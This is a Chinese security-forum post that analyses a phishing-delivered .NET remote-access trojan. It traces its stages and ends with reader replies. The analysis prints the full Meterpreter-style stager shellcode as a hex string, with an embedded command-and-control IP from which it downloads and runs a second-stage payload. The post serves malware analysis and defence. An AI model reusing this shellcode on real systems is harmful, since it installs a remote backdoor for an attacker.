首页
社区
课程
招聘
[原创]HW前期之分析一款远控木马
2020-6-7 16:19 6359

[原创]HW前期之分析一款远控木马

2020-6-7 16:19
6359

每年的活动又要开始了呀,无意在网上冲浪的时候发现了这个马,估计是攻击队留下的痕迹,前期做准备的,感觉这样很有趣,在攻防中不断成长呢!

相关图片


猜测是采用常规的钓鱼邮件的方式,图标伪装。


刚开始免杀效果还可以,如下。


查询时发现是.NET平台编写的恶意文件,没有加壳也没有混淆。


原始文件名为“增量更新包”,程序里方法很少。


进入入口点,原始文件名为“壳程序”,说明很大概率这个只是个下载器或者外壳程序,变量text有点特殊,感觉类似base64编码过。


大致看了下程序流程,会反转text变量的值,然后解码之后调用invoke加载执行。


字符串反转,如下。


动态调试下,获取shellcode。


提取出来,查询如下。


依然还是.NET程序,没有加壳没有混淆,文件名果然很直接......哈哈,是“免杀”,看到VritualAlloc很大概率会是内存执行恶意代码。


同样在入口点存在大量的字节数据


查看程序逻辑后发现会新建线程执行,所以动态调试下获取真实的shellcode。


将shellcode提取出来,如下是十六进制。

\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D\x68\x6E\x65\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07\xFF\xD5\xE8\x00\x00\x00\x00\x31\xFF\x57\x57\x57\x57\x57\x68\x3A\x56\x79\xA7\xFF\xD5\xE9\xA4\x00\x00\x00\x5B\x31\xC9\x51\x51\x6A\x03\x51\x51\x68\x59\x1F\x00\x00\x53\x50\x68\x57\x89\x9F\xC6\xFF\xD5\x50\xE9\x8C\x00\x00\x00\x5B\x31\xD2\x52\x68\x00\x32\xC0\x84\x52\x52\x52\x53\x52\x50\x68\xEB\x55\x2E\x3B\xFF\xD5\x89\xC6\x83\xC3\x50\x68\x80\x33\x00\x00\x89\xE0\x6A\x04\x50\x6A\x1F\x56\x68\x75\x46\x9E\x86\xFF\xD5\x5F\x31\xFF\x57\x57\x6A\xFF\x53\x56\x68\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x0F\x84\xCA\x01\x00\x00\x31\xFF\x85\xF6\x74\x04\x89\xF9\xEB\x09\x68\xAA\xC5\xE2\x5D\xFF\xD5\x89\xC1\x68\x45\x21\x5E\x31\xFF\xD5\x31\xFF\x57\x6A\x07\x51\x56\x50\x68\xB7\x57\xE0\x0B\xFF\xD5\xBF\x00\x2F\x00\x00\x39\xC7\x75\x07\x58\x50\xE9\x7B\xFF\xFF\xFF\x31\xFF\xE9\x91\x01\x00\x00\xE9\xC9\x01\x00\x00\xE8\x6F\xFF\xFF\xFF\x2F\x72\x70\x63\x00\x11\xA4\x39\x63\xA3\x4A\xE7\x51\x65\x25\xB4\xDF\x99\x12\x59\x96\x6F\x3C\x24\x0D\x59\x9B\x02\x06\xDF\xB0\x8B\x46\xEF\xD8\xEE\x69\x1D\xEE\xC3\x0F\x8D\x0D\x16\xF7\x2B\x59\xE2\x1A\x46\x0B\xF7\xD0\x18\xD9\xAB\x33\x31\x09\x6C\x05\x07\x19\xA2\x28\x10\x1D\x21\xFD\x8A\x63\x3A\x93\xD3\xFD\x8D\xA5\xB0\x83\x00\x41\x63\x63\x65\x70\x74\x3A\x20\x2A\x2F\x2A\x0D\x0A\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74\x3A\x20\x4D\x6F\x7A\x69\x6C\x6C\x61\x2F\x35\x2E\x30\x20\x28\x57\x69\x6E\x64\x6F\x77\x73\x20\x4E\x54\x20\x36\x2E\x31\x29\x20\x41\x70\x70\x6C\x65\x57\x65\x62\x4B\x69\x74\x2F\x35\x33\x37\x2E\x33\x36\x20\x28\x4B\x48\x54\x4D\x4C\x2C\x20\x6C\x69\x6B\x65\x20\x47\x65\x63\x6B\x6F\x29\x0D\x0A\x00\x90\x27\x9D\xCE\xF6\x28\x5C\x9A\x20\xC8\xE7\xD2\xDA\x38\x68\xAE\x1D\x02\xF3\x8D\xEC\xE7\x72\x9C\xF0\x00\xE6\xC1\x66\x21\x3B\x92\xF0\x42\x58\xA9\x95\xE1\xF4\xD7\x59\xE7\xD9\x06\x7D\x45\x5C\xCB\xF8\xC2\x4E\xBC\xEA\x3D\x60\xE5\xB3\xAF\xD8\xD0\x48\x61\x2A\x64\x5F\x07\xBE\x66\x0B\x82\x1C\x56\x07\x86\xF8\x30\x14\x17\x71\xB1\x95\xB5\x96\xC8\xF3\x30\x99\x64\x15\xE2\x4C\xC0\x33\x31\x36\x70\x69\xB2\x98\x64\x29\x34\xA1\x78\xEA\x73\xFC\xD5\xC2\x32\x9F\x8F\xD9\x88\xB1\x59\x8A\xA3\xD8\x06\xAA\xD2\xDA\x66\x16\xA3\xC4\xF9\x6A\xBA\x48\x33\x83\xF8\xC1\x95\xD8\xC9\x6A\x16\x8A\xE2\x1D\x91\xC9\xF7\x15\xE6\x12\xE3\x10\x58\x21\x8A\x18\x04\x5C\x38\xFA\x80\xD5\xF9\x3F\xE6\x9C\x40\xD4\xC9\xA1\xEB\x4F\xE7\x77\x24\x2C\xB2\x1F\xE1\x0B\x46\x56\x77\x1D\x7D\x70\x3B\xE4\xDD\x11\x6E\x5D\x69\x1D\x7F\x19\x0C\xE1\x33\x30\x60\xA6\x85\xC8\xCD\xD0\xAD\x1E\x00\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xA4\x53\xE5\xFF\xD5\x93\xB9\x00\x00\x00\x00\x01\xD9\x51\x53\x89\xE7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5\x85\xC0\x74\xC6\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\x89\xFD\xFF\xFF\x31\x31\x34\x2E\x36\x37\x2E\x31\x30\x37\x2E\x35\x37\x00\x09\xE3\x92\x0D


反汇编如下,发现很明显的meterpreter后门特征。


.NET不好调试shellcode线程,于是编写一段代码,进行调试。


加载后来到shellcode入口,如下。


设置执行权限


前面是很常规的API hash比较加载对应的函数,便于后续使用。


发现一个URL地址,如果服务还在的话直接访问会下载到rpc文件,其实是第二阶段的shellcode。


接下就会发起HTTP请求,以GET方式获取第二阶段shellcode。

Accept: */*..User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko).


会收集一些系统信息,如下。


下载到第二阶段shellcode后,内存分配空间加载执行。


读取服务端返回的数据成功


通过入栈返回跳转的方式去执行这一阶段shellcode


异或解密shellcode,如下。


加载dll


设置内存访问权限


执行新的入口点,如下。


第二阶段shellcode接着异或0x69解密,如下。


解密请求配置"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)",如下。


访问服务端入口,如下。


查看响应值是否为200,之后读取返回的数据。


请求的数据,如下,由于全程采用https通信,所以是加密的。


昨晚太累了,就睡了,本来今早起来想继续分析的,然而起来后发现服务端就停止服务了,是被察觉了吗?不得而知,服务持续了大概几天时间。

黑客表情包


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2020-6-7 20:08 被jishuzhain编辑 ,原因:
收藏
点赞5
打赏
分享
最新回复 (9)
雪    币: 333
活跃值: (970)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
fatcateatrat 2020-6-7 20:29
2
0
应该是被发现了。
雪    币: 5386
活跃值: (11820)
能力值: ( LV12,RANK:312 )
在线值:
发帖
回帖
粉丝
一半人生 5 2020-6-8 09:26
3
0

如果前两段用Delphi,go语言做释放载荷比较难搞了,发现比脚本还容易过引擎

最后于 2020-6-8 09:26 被一半人生编辑 ,原因:
雪    币: 2986
活跃值: (1408)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
MsScotch 2020-6-8 11:41
4
0
artifact kit 好用
雪    币: 513
活跃值: (416)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Flowing 2020-6-8 13:04
5
0
这玩意payload一直在变,分析后你就会发现是Cobalt Strike的生成的,要继续搞可以自己下个Cobalt Strike玩
雪    币: 0
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
L四apQ 2020-6-8 14:25
6
0
md5:d77e6d24b0ba5d20e0387efcc5613ec1
雪    币: 310
活跃值: (1917)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
niuzuoquan 2020-6-8 20:15
7
0
mark
雪    币: 1033
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
_100354 2020-6-8 20:57
8
0
mark
雪    币: 259
活跃值: (283)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ZwCopyAll 2020-6-9 17:34
9
0
mark
雪    币: 207
活跃值: (24)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
脚本灬丨小子 2020-9-11 19:35
10
0
Mark
游客
登录 | 注册 方可回帖
返回